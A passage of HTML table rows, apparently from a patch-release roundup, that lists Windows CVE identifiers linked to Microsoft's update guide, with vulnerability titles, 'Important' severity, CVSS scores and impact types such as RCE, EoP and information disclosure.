  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58640"><span>CVE-2026-58640</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49184"><span>CVE-2026-49184</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49797"><span>CVE-2026-49797</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50308"><span>CVE-2026-50308</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50386"><span>CVE-2026-50386</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50309"><span>CVE-2026-50309</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50313"><span>CVE-2026-50313</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50388"><span>CVE-2026-50388</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50448"><span>CVE-2026-50448</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50471"><span>CVE-2026-50471</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50461"><span>CVE-2026-50461</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50417"><span>CVE-2026-50417</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50482"><span>CVE-2026-50482</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50494"><span>CVE-2026-50494</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50344"><span>CVE-2026-50344</span></a></td>
  <td width="256" class="xl74">Windows OLE Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50686"><span>CVE-2026-50686</span></a></td>
  <td width="256" class="xl74">Windows OLE Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50335"><span>CVE-2026-50335</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50317"><span>CVE-2026-50317</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54987"><span>CVE-2026-54987</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50435"><span>CVE-2026-50435</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50409"><span>CVE-2026-50409</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40400"><span>CVE-2026-40400</span></a></td>
  <td width="256" class="xl74">Windows PowerShell
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49166"><span>CVE-2026-49166</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55004"><span>CVE-2026-55004</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50499"><span>CVE-2026-50499</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50383"><span>CVE-2026-50383</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57085"><span>CVE-2026-57085</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50469"><span>CVE-2026-50469</span></a></td>
  <td width="256" class="xl74">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50434"><span>CVE-2026-50434</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50339"><span>CVE-2026-50339</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50430"><span>CVE-2026-50430</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50334"><span>CVE-2026-50334</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44800"><span>CVE-2026-44800</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50363"><span>CVE-2026-50363</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50431"><span>CVE-2026-50431</span></a></td>
  <td width="256" class="xl74">Windows Quality of
  Service (QoS) Packet Scheduler Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50372"><span>CVE-2026-50372</span></a></td>
  <td width="256" class="xl74">Windows Redirected
  Drive Buffering System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50666"><span>CVE-2026-50666</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56647"><span>CVE-2026-56647</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Service Infrastructure Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50330"><span>CVE-2026-50330</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50376"><span>CVE-2026-50376</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50504"><span>CVE-2026-50504</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58533"><span>CVE-2026-58533</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58535"><span>CVE-2026-58535</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58546"><span>CVE-2026-58546</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58539"><span>CVE-2026-58539</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55003"><span>CVE-2026-55003</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57979"><span>CVE-2026-57979</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50445"><span>CVE-2026-50445</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50497"><span>CVE-2026-50497</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54126"><span>CVE-2026-54126</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57982"><span>CVE-2026-57982</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50369"><span>CVE-2026-50369</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58626"><span>CVE-2026-58626</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55014"><span>CVE-2026-55014</span></a></td>
  <td width="256" class="xl74">Windows Remote Help
  Defense Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50318"><span>CVE-2026-50318</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50407"><span>CVE-2026-50407</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50357"><span>CVE-2026-50357</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50441"><span>CVE-2026-50441</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50668"><span>CVE-2026-50668</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54109"><span>CVE-2026-54109</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49792"><span>CVE-2026-49792</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49793"><span>CVE-2026-49793</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50362"><span>CVE-2026-50362</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50492"><span>CVE-2026-50492</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50501"><span>CVE-2026-50501</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58530"><span>CVE-2026-58530</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49791"><span>CVE-2026-49791</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50451"><span>CVE-2026-50451</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57096"><span>CVE-2026-57096</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50323"><span>CVE-2026-50323</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50452"><span>CVE-2026-50452</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50348"><span>CVE-2026-50348</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50345"><span>CVE-2026-50345</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
